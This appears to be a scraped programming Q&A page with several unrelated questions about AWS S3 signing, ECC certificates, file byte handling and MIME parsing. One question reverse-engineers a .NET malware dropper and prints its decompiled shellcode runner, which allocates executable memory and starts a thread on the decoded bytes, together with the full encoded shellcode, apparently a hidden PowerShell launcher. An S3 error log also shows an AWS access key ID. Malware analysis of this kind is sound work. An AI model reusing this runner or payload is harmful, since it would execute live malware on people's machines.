Develop Reference

Getting SignatureDoesNotMatch 403 response when running a GET request in ASW S3 using chilkat

Getting this error when try to run a GET request on AWS s3. Detailed logs are attached below. Please help
26-Dec-2022 12:26:00 send error: List multipart uploads for key recovery/Récupération_VOL-b001.spf
Unexpected response status code: 403
Error response:
Code: SignatureDoesNotMatch
Message: The request signature we calculated does not match the signature you provided. Check your key and signing method.
AWSAccessKeyId: AKIA4OGRTV42ZXNBHH47
StringToSign: AWS4-HMAC-SHA256
20221226T065419Z
20221226/us-east-2/s3/aws4_request
34482fccab5255ab299ba1a1afe1429ab3b00d25920506f2b26eed3e695d0aaa
SignatureProvided: be3902f4cc91f6263ee88b6c2e90de2ad75858655aa6cb5205fb1950b149677f
StringToSignBytes: 41 57 53 34 2d 48 4d 41 43 2d 53 48 41 32 35 36 0a 32 30 32 32 31 32 32 36 54 30 36 35 34 31 39 5a 0a 32 30 32 32 31 32 32 36 2f 75 73 2d 65 61 73 74 2d 32 2f 73 33 2f 61 77 73 34 5f 72 65 71 75 65 73 74 0a 33 34 34 38 32 66 63 63 61 62 35 32 35 35 61 62 32 39 39 62 61 31 61 31 61 66 65 31 34 32 39 61 62 33 62 30 30 64 32 35 39 32 30 35 30 36 66 32 62 32 36 65 65 64 33 65 36 39 35 64 30 61 61 61
CanonicalRequest: GET
/
prefix=recovery%2FR%C3%83%C2%A9cup%C3%83%C2%A9ration_VOL-b001.spf&uploads=
host:recoverybucket333.s3.us-east-2.amazonaws.com
x-amz-content-sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
x-amz-date:20221226T065419Z
host;x-amz-content-sha256;x-amz-date
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
CanonicalRequestBytes: 47 45 54 0a 2f 0a 70 72 65 66 69 78 3d 72 65 63 6f 76 65 72 79 25 32 46 52 25 43 33 25 38 33 25 43 32 25 41 39 63 75 70 25 43 33 25 38 33 25 43 32 25 41 39 72 61 74 69 6f 6e 5f 56 4f 4c 2d 62 30 30 31 2e 73 70 66 26 75 70 6c 6f 61 64 73 3d 0a 68 6f 73 74 3a 72 65 63 6f 76 65 72 79 62 75 63 6b 65 74 33 33 33 2e 73 33 2e 75 73 2d 65 61 73 74 2d 32 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 0a 78 2d 61 6d 7a 2d 63 6f 6e 74 65 6e 74 2d 73 68 61 32 35 36 3a 65 33 62 30 63 34 34 32 39 38 66 63 31 63 31 34 39 61 66 62 66 34 63 38 39 39 36 66 62 39 32 34 32 37 61 65 34 31 65 34 36 34 39 62 39 33 34 63 61 34 39 35 39 39 31 62 37 38 35 32 62 38 35 35 0a 78 2d 61 6d 7a 2d 64 61 74 65 3a 32 30 32 32 31 32 32 36 54 30 36 35 34 31 39 5a 0a 0a 68 6f 73 74 3b 78 2d 61 6d 7a 2d 63 6f 6e 74 65 6e 74 2d 73 68 61 32 35 36 3b 78 2d 61 6d 7a 2d 64 61 74 65 0a 65 33 62 30 63 34 34 32 39 38 66 63 31 63 31 34 39 61 66 62 66 34 63 38 39 39 36 66 62 39 32 34 32 37 61 65 34 31 65 34 36 34 39 62 39 33 34 63 61 34 39 35 39 39 31 62 37 38 35 32 62 38 35 35
RequestId: 1SKCZB7ZCJJK4RMC
HostId: qQ/ElU917KLt7vm15qnfCvAZhb8NqL0GXyHt/dCcd6LOL76OhEz7C9bQ5i2zR2B0LO8xpHSvPYc+oe68V/usCA==
26-Dec-2022 12:26:00 Sending Récupération_VOL-b001.spf
26-Dec-2022 12:26:19 send error: List multipart uploads for key recovery/Récupération_VOL-b001.spf
Unexpected response status code: 403
I am trying to upload some files on S3 bucket and it is working for normal file names but not working when the file name contains some ASCII chars or accent marks. It failed with the above error shown in the description.

How can I disassemble the second payload of this malware dropper?

I am currently reverse engineering a piece of .NET PE malware that drop shellcode using the CreateThread function and a block of data.
This is the shellcodeRunner function as decompiled by monodis (im on linux)
.maxstack 6
.locals init (
unsigned int8[] V_0,
int32 V_1,
native int V_2,
int32 V_3)
IL_0000: ldstr "[+] Running shellcode..."
IL_0005: call void class [mscorlib]System.Console::WriteLine(string)
IL_000a: ldc.i4 1339
IL_000f: newarr [mscorlib]System.Byte
IL_0014: dup
IL_0015: ldtoken field valuetype '<PrivateImplementationDetails>'/'__StaticArrayInitTypeSize=1339' '<PrivateImplementationDetails>'::34D84C3D147ABF5A05B8FF8851822AACADD1A91EBDE633F0C7C82779CCC23977
IL_001a: call void class [mscorlib]System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(class [mscorlib]System.Array, valuetype [mscorlib]System.RuntimeFieldHandle)
IL_001f: stloc.0
IL_0020: ldc.i4.0
IL_0021: stloc.3
IL_0022: br.s IL_0037
IL_0024: ldloc.0
IL_0025: ldloc.3
IL_0026: ldloc.0
IL_0027: ldloc.3
IL_0028: ldelem.u1
IL_0029: ldc.i4.2
IL_002a: sub
IL_002b: ldc.i4 255
IL_0030: and
IL_0031: conv.u1
IL_0032: stelem.i1
IL_0033: ldloc.3
IL_0034: ldc.i4.1
IL_0035: add
IL_0036: stloc.3
IL_0037: ldloc.3
IL_0038: ldloc.0
IL_0039: ldlen
IL_003a: conv.i4
IL_003b: blt.s IL_0024
IL_003d: ldloc.0
IL_003e: ldlen
IL_003f: conv.i4
IL_0040: stloc.1
IL_0041: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0046: ldloc.1
IL_0047: ldc.i4 12288
IL_004c: ldc.i4.s 0x40
IL_004e: call native int class dropper.Program::VirtualAlloc(native int, int32, unsigned int32, unsigned int32)
IL_0053: stloc.2
IL_0054: ldloc.0
IL_0055: ldc.i4.0
IL_0056: ldloc.2
IL_0057: ldloc.1
IL_0058: call void class [mscorlib]System.Runtime.InteropServices.Marshal::Copy(unsigned int8[], int32, native int, int32)
IL_005d: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0062: ldc.i4.0
IL_0063: ldloc.2
IL_0064: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0069: ldc.i4.0
IL_006a: ldc.i4.0
IL_006b: call native int class dropper.Program::CreateThread(native int, unsigned int32, native int, native int, unsigned int32, unsigned int32)
IL_0070: ldc.i4.m1
IL_0071: call int32 class dropper.Program::WaitForSingleObject(native int, int32)
IL_0076: pop
IL_0077: ret
} // end of method Program::shellcodeRunner
And this is the shellcode presumably passed to the shellcodeRunner function.
.data D_000032e4 = bytearray (
FE 4A 85 E6 F2 EA C2 02 02 02 43 53 43 52 54 53
58 4A 33 D4 67 4A 8D 54 62 4A 8D 54 1A 4A 8D 54
22 4A 8D 74 52 4A 11 B9 4C 4C 4F 33 CB 4A 33 C2
AE 3E 63 7E 04 2E 22 43 C3 CB 0F 43 03 C3 E4 EF
54 43 53 4A 8D 54 22 8D 44 3E 4A 03 D2 8D 82 8A
02 02 02 4A 87 C2 76 69 4A 03 D2 52 8D 4A 1A 46
8D 42 22 4B 03 D2 E5 58 4A 01 CB 43 8D 36 8A 4A
03 D8 4F 33 CB 4A 33 C2 AE 43 C3 CB 0F 43 03 C3
3A E2 77 F3 4E 05 4E 26 0A 47 3B D3 77 DA 5A 46
8D 42 26 4B 03 D2 68 43 8D 0E 4A 46 8D 42 1E 4B
03 D2 43 8D 06 8A 4A 03 D2 43 5A 43 5A 60 5B 5C
43 5A 43 5B 43 5C 4A 85 EE 22 43 54 01 E2 5A 43
5B 5C 4A 8D 14 EB 59 01 01 01 5F 4A BC 03 02 02
02 02 02 02 02 4A 8F 8F 03 03 02 02 43 BC 33 8D
71 89 01 D7 BD E2 1F 2C 0C 43 BC A8 97 BF 9F 01
D7 4A 85 C6 2A 3E 08 7E 0C 82 FD E2 77 07 BD 49
15 74 71 6C 02 5B 43 8B DC 01 D7 72 71 79 67 74
75 6A 67 6E 6E 30 67 7A 67 22 2F 67 72 22 64 7B
72 63 75 75 22 2F 67 70 65 22 4C 43 44 35 43 49
4F 43 4B 43 43 3B 43 45 43 43 59 79 44 56 43 4A
6D 43 65 79 44 32 43 49 57 43 64 53 43 77 43 47
36 43 5C 53 44 32 43 45 36 43 58 79 44 6E 43 49
4B 43 53 79 44 75 43 49 6D 43 5C 53 44 77 43 4A
53 43 5A 53 43 38 43 46 71 43 64 69 44 6E 43 4A
65 43 4D 43 43 72 43 46 75 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 45 43 43 52 53 43 69 43 45
65 43 63 43 44 32 43 4A 53 43 65 43 44 7C 43 46
71 43 4E 79 43 78 43 49 69 43 5C 53 44 7B 43 49
47 43 64 69 44 7C 43 49 3A 43 64 53 44 35 43 49
47 43 65 69 44 6E 43 45 36 43 64 69 44 75 43 45
3A 43 64 43 44 7C 43 49 53 43 63 79 44 6A 43 49
5B 43 63 69 43 36 43 49 5B 43 63 69 44 6A 43 49
5B 43 4F 69 43 7C 43 46 6D 43 51 43 44 6F 43 4A
57 43 64 43 44 7C 43 49 53 43 4E 79 44 6E 43 4A
5B 43 63 53 44 75 43 45 36 43 66 43 44 36 43 4A
53 43 4C 79 43 39 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 69 43 46
32 43 4B 43 43 70 43 47 57 43 54 69 43 33 43 46
6D 43 53 69 43 37 43 47 57 43 51 53 44 48 43 46
47 43 4F 43 43 7A 43 47 5B 43 54 53 44 47 43 46
4B 43 4F 69 43 7A 43 46 57 43 4F 43 44 47 43 46
4F 43 51 43 43 7C 43 46 4B 43 53 53 43 7A 43 46
4F 43 50 53 44 46 43 47 5B 43 4F 69 43 79 43 46
4B 43 53 53 43 32 43 47 5B 43 50 79 43 34 43 46
53 43 53 69 43 7A 43 47 5B 43 50 53 44 44 43 46
53 43 53 79 44 44 43 46 57 43 53 79 44 45 43 47
57 43 50 69 43 34 43 46 65 43 53 69 43 79 43 46
47 43 50 43 44 45 43 46 47 43 53 69 44 48 43 46
57 43 4C 79 43 39 43 45 43 43 4C 43 44 49 43 49
6D 43 64 43 44 6E 43 47 69 43 5B 53 44 7C 43 49
69 43 4B 43 43 3B 43 45 43 43 54 79 44 6E 43 4A
53 43 4E 53 44 49 43 49 6D 43 64 43 44 6E 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 47
6D 43 64 69 44 79 43 4A 57 43 66 43 44 56 43 4A
53 43 65 69 44 6E 43 49 47 43 64 53 43 69 43 45
69 43 4C 43 44 35 43 49 4F 43 4E 69 44 52 43 4A
43 43 5C 53 44 77 43 48 4B 43 5C 53 44 6A 43 49
53 43 4D 43 43 6D 43 4A 53 43 5B 53 44 7B 43 49
65 43 5C 53 44 32 43 4A 57 43 65 69 44 75 43 45
6D 43 4D 53 43 39 43 45 43 43 55 53 44 6F 43 45
43 43 4D 43 43 6D 43 47 5B 43 63 53 44 75 43 49
57 43 55 43 44 6A 43 4A 4F 43 63 43 43 77 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 49
57 43 65 53 43 69 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 72 43 45
43 43 67 79 44 4C 43 47 57 43 59 43 43 71 43 45
53 43 66 79 44 6C 43 45 36 43 54 43 44 78 43 4A
65 43 64 69 44 75 43 49 3A 43 5B 53 44 6D 43 48
4F 43 66 43 44 7B 43 49 6D 43 64 69 44 70 43 45
69 43 4C 43 44 32 43 49 47 43 65 69 44 70 43 49
57 43 66 43 44 33 43 4A 4B 43 64 43 43 72 43 45
6D 43 68 53 43 69 43 47 57 43 64 43 44 7C 43 49
57 43 4B 43 44 39 43 48 65 43 65 69 44 72 43 4A
53 43 5C 53 43 76 43 47 69 43 64 79 44 7C 43 4A
53 43 4B 43 44 64 43 45 32 43 5A 53 43 69 43 47
4F 43 64 79 44 33 43 49 79 43 5C 43 43 69 43 49
36 43 64 79 44 32 43 45 43 43 5B 79 44 78 43 49
36 43 64 69 44 6E 43 49 4F 43 66 43 43 69 43 4A
65 43 63 53 44 32 43 49 69 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 4A 32 43 02) // size: 1339
What tool could I use to disassemble the instructions contained in the data. Running monodis on the data only does not work, as it contains no header table of its own. Is there any 'force' parameter to monodis that allows it to still disassemble the data?
Any help on this matter would be much appreciated.

I was able to disassemble the data portion by selecting and right-clicking > disassemble in Ghidra. Thanks to Dai for the insight.

C# - ecc-certificate requested with BouncyCastle seems to be invalid in .NET

As it turned out in the comments to this SO-question the source of the problem lies elsewhere so I decided to ask a new question.
I request a certificate from our PKI for a ecc keypair (curve is brainpoolP384r1).
This is done via registration authority that does the proof of possession. After that I attach the private key to the issued certificate using some of the code in this helpful questions/answers: generate-certificate-using-ecdsa-in-c-sharp and translating-elliptic-curve-parameters-bc-to-ms.
After that I store the certificate with the private key in the MY-Store. So far everything works and the certificate is shown as valid in the MMC console.
But if I look at it with certutil -user -store my it results in the following error (unfortunately it is in german but I will explain the errors below):
Seriennummer: 4cce6787580be9db
Aussteller: C=DE, O=TestIt, CN=ManagementCA
Nicht vor: 01.03.2018 08:30
Nicht nach: 29.02.2020 08:30
Antragsteller: CN=test#my.domain
Kein Stammzertifikat
Zertifikathash(sha1): 3cd94f55fa6d1c66eff9ed1cc45649006ac12616
Schlüsselcontainer = {5C4E984A-D2DB-4BE5-BD82-7A6826C4A389}
Eindeutiger Containername: 28083d7c2cef0143c31de128e470b486_6097f4ab-4eeb-4550-91e6-2c748bfb85d3
Anbieter = Microsoft Software Key Storage Provider
Der private Schlüssel eignet sich nicht zum Nur-Text-Export.
Öffentlicher Schlüssel des Zertifikats:
Version: 3
Öffentlicher Schlüssel-Algorithmus:
Algorithmus Objekt-ID: 1.2.840.10045.2.1 ECC
Algorithmusparameter:
0000 30 82 01 40 02 01 01 30 3c 06 07 2a 86 48 ce 3d
0010 01 01 02 31 00 8c b9 1e 82 a3 38 6d 28 0f 5d 6f
0020 7e 50 e6 41 df 15 2f 71 09 ed 54 56 b4 12 b1 da
0030 19 7f b7 11 23 ac d3 a7 29 90 1d 1a 71 87 47 00
0040 13 31 07 ec 53 30 64 04 30 7b c3 82 c6 3d 8c 15
0050 0c 3c 72 08 0a ce 05 af a0 c2 be a2 8e 4f b2 27
0060 87 13 91 65 ef ba 91 f9 0f 8a a5 81 4a 50 3a d4
0070 eb 04 a8 c7 dd 22 ce 28 26 04 30 04 a8 c7 dd 22
0080 ce 28 26 8b 39 b5 54 16 f0 44 7c 2f b7 7d e1 07
0090 dc d2 a6 2e 88 0e a5 3e eb 62 d5 7c b4 39 02 95
00a0 db c9 94 3a b7 86 96 fa 50 4c 11 04 61 04 1d 1c
00b0 64 f0 68 cf 45 ff a2 a6 3a 81 b7 c1 3f 6b 88 47
00c0 a3 e7 7e f1 4f e3 db 7f ca fe 0c bd 10 e8 e8 26
00d0 e0 34 36 d6 46 aa ef 87 b2 e2 47 d4 af 1e 8a be
00e0 1d 75 20 f9 c2 a4 5c b1 eb 8e 95 cf d5 52 62 b7
00f0 0b 29 fe ec 58 64 e1 9c 05 4f f9 91 29 28 0e 46
0100 46 21 77 91 81 11 42 82 03 41 26 3c 53 15 02 31
0110 00 8c b9 1e 82 a3 38 6d 28 0f 5d 6f 7e 50 e6 41
0120 df 15 2f 71 09 ed 54 56 b3 1f 16 6e 6c ac 04 25
0130 a7 cf 3a b6 af 6b 7f c3 10 3b 88 32 02 e9 04 65
0140 65 02 01 01
Länge des öffentlichen Schlüssels: 384 Bits
Öffentlicher Schlüssel: Nicht verwendete Bits = 0
0000 04 0e e2 21 a3 24 11 58 28 f9 12 fe 7a 2d 26 5f
0010 ad 90 cc 79 1c b6 68 3a b0 ff f2 df 68 17 84 cd
0020 5f a7 9e 27 10 00 ea 6a 47 d2 74 9f c4 15 36 d1
0030 98 5e 65 5b 2e 7e 61 d4 16 85 ed 3f 24 6b c1 2c
0040 ef 48 b2 26 77 2b c3 61 05 44 e3 1c 2a 31 cb c1
0050 f6 e1 cc a2 d6 3e d8 ac 36 8f ea e7 df 7d b0 9d
0060 9d
Schlüssel-ID-Hash(rfc-sha1): e90f7f6c93e660db6742585d6dd5327f08e2469b
Schlüssel-ID-Hash(sha1): 1a0440ec89a6b951169c97d7d766c477c5a9128d
Schlüssel-ID-Hash(bcrypt-sha1): 66a3af2d30d59c36337fcf153693e6bc0111c14b
Schlüssel-ID-Hash(bcrypt-sha256): cfdf5d9b466f595f9c23dec4430a19b5134f41c882bea709ab120ed1c2496ce9
Container des öffentlichen Schlüssels:
Öffentlicher Schlüssel-Algorithmus:
Algorithmus Objekt-ID: 1.2.840.10045.2.1 ECC
Algorithmusparameter:
06 09 2b 24 03 03 02 08 01 01 0b
1.3.36.3.3.2.8.1.1.11 brainpoolP384r1
Länge des öffentlichen Schlüssels: 384 Bits
Öffentlicher Schlüssel: Nicht verwendete Bits = 0
0000 04 0e e2 21 a3 24 11 58 28 f9 12 fe 7a 2d 26 5f
0010 ad 90 cc 79 1c b6 68 3a b0 ff f2 df 68 17 84 cd
0020 5f a7 9e 27 10 00 ea 6a 47 d2 74 9f c4 15 36 d1
0030 98 5e 65 5b 2e 7e 61 d4 16 85 ed 3f 24 6b c1 2c
0040 ef 48 b2 26 77 2b c3 61 05 44 e3 1c 2a 31 cb c1
0050 f6 e1 cc a2 d6 3e d8 ac 36 8f ea e7 df 7d b0 9d
0060 9d
Schlüssel-ID-Hash(rfc-sha1): e90f7f6c93e660db6742585d6dd5327f08e2469b
Schlüssel-ID-Hash(sha1): 79d60ac0a75a30e1ba3f07ccc4dbace00610696c
Schlüssel-ID-Hash(bcrypt-sha1): 66a3af2d30d59c36337fcf153693e6bc0111c14b
Schlüssel-ID-Hash(bcrypt-sha256): cfdf5d9b466f595f9c23dec4430a19b5134f41c882bea709ab120ed1c2496ce9
FEHLER: Öffentlicher Schlüssel stimmt nicht mit gespeichertem Schlüsselsatz überein.
Das Testen der Signatur ist fehlgeschlagen.
The last part translates as:
ERROR: Certificate public key does NOT match stored keyset
Signature test FAILED
You can see that the public key itself is identical, just the AlgorithmIdentifier is different. I do not know where the container public key comes from, the certification request matches the AlgorithmIdentifier from the certificate public key shown above.
If I try to create the csr with the AlgorithmIdentifier of the container public key shown above, I get an error in the PKI "encoded key spec not recognized".
All this leeds me to the conclusion that I am doing something wrong with the csr.
I will not post the whole code as it spawns mutliple classes just the part wher the SubjectPublicKeyInfo is constructed as this seems to be the part where things go wrong:
Code that creates valid ASN1 but results in the error above (Signature test failed)
byte[] publicKey = ecPublicKeyParameters.Q.GetEncoded();
string base64PublicKey = Convert.ToBase64String(publicKey);
// This base64PublicKey is send to the server, that handles it with the code below:
var ecPars = TeleTrusTNamedCurves.GetByName("brainpoolP384r1");
ECDomainParameters ecDomPars = new ECDomainParameters(
ecPars.Curve,
ecPars.G,
ecPars.N,
ecPars.H,
ecPars.GetSeed());
var curve = ecDomPars.Curve;
byte[] data = Convert.FromBase64String(base64PublicKey);
var ecPoint = curve.DecodePoint(data);
ECPublicKeyParameters publicKey = new ECPublicKeyParameters(ecPoint, ecDomPars);
SubjectPublicKeyInfo publicKeyInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(ecPublicKeyParameters);
Code that creates valid ASN1 that makes the PKI complain:
// Using ECDsaCng directly in the hope that the certificate will be valid for windows:
ECParameters ecParams = ecdsaPair.ExportParameters(false);
ECPoint ecPoint = ecParams.Q;
IEnumerable<byte> blobBytes = ecPoint.X.Concat(ecPoint.Y);
byte[] eccblob = blobBytes.ToArray();
// Sending this to the server where it will be used for SubjectPublicKeyInfo
AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(new DerObjectIdentifier("1.2.840.10045.2.1"), new DerObjectIdentifier("1.3.36.3.3.2.8.1.1.11"));
SubjectPublicKeyInfo publicKeyInfo = new SubjectPublicKeyInfo(algorithmIdentifier, new DerBitString(eccblob));
How can I create a valid SubjectPublicKeyInfo that satisfies the PKI and the certutil validation?

The problem with the cert-as-created seems to be that the certificate uses explicit curve domain parameters (which the RFCs frown on), and the private key did curve normalization to get back to a named curve, which you seem to have identified given the second approach.
In your "more manual" approach you didn't encode the public key correctly, you need a leading 04 to indicate that you're sending an uncompressed coordinate pair. (04 [x coordinate] [y coordinate]). The CA likely rejected your request because it didn't understand it.
04 0e e2 21 a3 24 11 58 28 f9 12 fe 7a 2d 26 5f
ad 90 cc 79 1c b6 68 3a b0 ff f2 df 68 17 84 cd
5f a7 9e 27 10 00 ea 6a 47 d2 74 9f c4 15 36 d1
98 5e 65 5b 2e 7e 61 d4 16 85 ed 3f 24 6b c1 2c
ef 48 b2 26 77 2b c3 61 05 44 e3 1c 2a 31 cb c1
f6 e1 cc a2 d6 3e d8 ac 36 8f ea e7 df 7d b0 9d
9d
Note the leading 04, and how it has odd length
FWIW: If you're on .NET Core 2.0 you can do this without BouncyCastle via System.Security.Cryptography.X509Certificates.CertificateRequest. That class is also available in the 4.7.2 early access release.

C# Append byte array to beginning of a file (without loading entire file in memory)

Question: Is it possible (and how?) to append a byte array to an existing file without loading the entire file in memory.
To be more specific:
the goal is to do transform this:
00000000 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
00000010 00 00 10 00 00 00 08 00 08 02 00 00 00 29 F0 61
00000020 E9 00 00 00 09 70 48 59 73 00 00 17 12 00 00 17
00000030 12 01 67 9F D2 52 00 00 20 00 49 44 41 54 78 DA
00000040 DC BD DB 76 24 39 AE 2C 08 F0 E2 1E AA EA F9 FF
00000050 FF 9C 5E A7 53 EE BC 60 1E 8C 80 C3 AF 0A 29 B3
00000060 76 EF 33 7A A8 A5 52 46 F8 85 04 41 10 30 33 30
00000070 33 D3 37 7F 44 E4 07 DF FA 5F F5 C3 CC 22 F2 F0
00000080 AF 97 6F 8A AF E0 BB 0F 57 B0 7F 12 22 3E FD FD
into this:
--added bytes
00000000 74 65 73 74 74 65 73 74 74 65 73 74 74 65 73 74
--added bytes
00000010 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
00000020 00 00 10 00 00 00 08 00 08 02 00 00 00 29 F0 61
00000030 E9 00 00 00 09 70 48 59 73 00 00 17 12 00 00 17
00000040 12 01 67 9F D2 52 00 00 20 00 49 44 41 54 78 DA
00000050 DC BD DB 76 24 39 AE 2C 08 F0 E2 1E AA EA F9 FF
00000060 FF 9C 5E A7 53 EE BC 60 1E 8C 80 C3 AF 0A 29 B3
00000070 76 EF 33 7A A8 A5 52 46 F8 85 04 41 10 30 33 30
00000080 33 D3 37 7F 44 E4 07 DF FA 5F F5 C3 CC 22 F2 F0
I've been trying to figure this out the whole morning, but I can't seem to find a working solution.
I know it is possible to append a file at the end without loading the file into memory, but I need to append the beginning.
Thanks in advance

Simply put, that's not possible. That's not how files work. Depending on how you do it, you may not have to load the whole file into memory at the same time, but you will need to load every single byte of the file and write it after the bytes you wrote to the front.

Parsing a MIME-Message using anmar.SharpMimeTools

I'm trying to parse a MIME-Message, using SharpMimeTools and some sample Mime Messages from Hunny Software. I managed to create a new Message from a file and save the Decoded Body to a file (it's a png-Image), but the created file is corrupted. Mostly the the example file and the one I've exracted look the same, but there are differences.
The files can be found here:
The original Message as a Text-File: m0013.txt
The origninal PNG-Picture: Blueball_original.png
The extracted, corrupted PNG-Picture: Blueball.png
An excerpt of the Hex-View of the files:
Original:
89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
00 00 00 1b 00 00 00 1b 08 03 00 00 00 ba 0a 04
67 00 00 03 00 50 4c 54 45 ff ff ff 00 00 08 00
00 10 00 00 18 00 00 00 00 08 29 00 10 42 00 10
4a 00 08 31 00 10 52 08 21 73 08 29 7b 08 29 84
08 21 6b 00 18 5a 00 08 39 08 21 63 10 39 9c 18
42 a5 18 42 ad 18 42 b5 10 39 a5 10 31 94 00 18
Extracted:
3f 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
00 00 00 1b 00 00 00 1b 08 03 00 00 00 3f 0a 04
67 00 00 03 00 50 4c 54 45 3f 3f 3f 00 00 08 00
00 10 00 00 18 00 00 00 00 08 29 00 10 42 00 10
4a 00 08 31 00 10 52 08 21 73 08 29 7b 08 29 3f
08 21 6b 00 18 5a 00 08 39 08 21 63 10 39 3f 18
42 3f 18 42 3f 18 42 3f 10 39 3f 10 31 3f 00 18
... and finally, this is the code I'm using:
public void MIMETest()
{
FileStream fileStream = new FileStream(#"D:\m0013.txt", FileMode.Open);
SharpMimeMessage m = new SharpMimeMessage(fileStream);
fileStream.Close();
parseMessage(m);
}
public void parseMessage(SharpMimeMessage message)
{
if (message.IsMultipart)
{
foreach (SharpMimeMessage subMessage in message)
{
parseMessage(subMessage);
}
}
else
{
System.IO.File.WriteAllText(#"D:\Extracts\" + message.Name,
message.BodyDecoded, message.Header.Encoding);
}
}
Do you have any suggestions how to solve this problem?

You are writing out binary files using WriteAllText. You cannot expect to write out a PNG using a text writer.
WriteAllText should only be used for text content-types. For other content-types you should use WriteAllBytes.
Also, in your code, you are writing the text using the original text encoding it was transmitted with. You probably want to just use UTF-8 regardless of what the original was.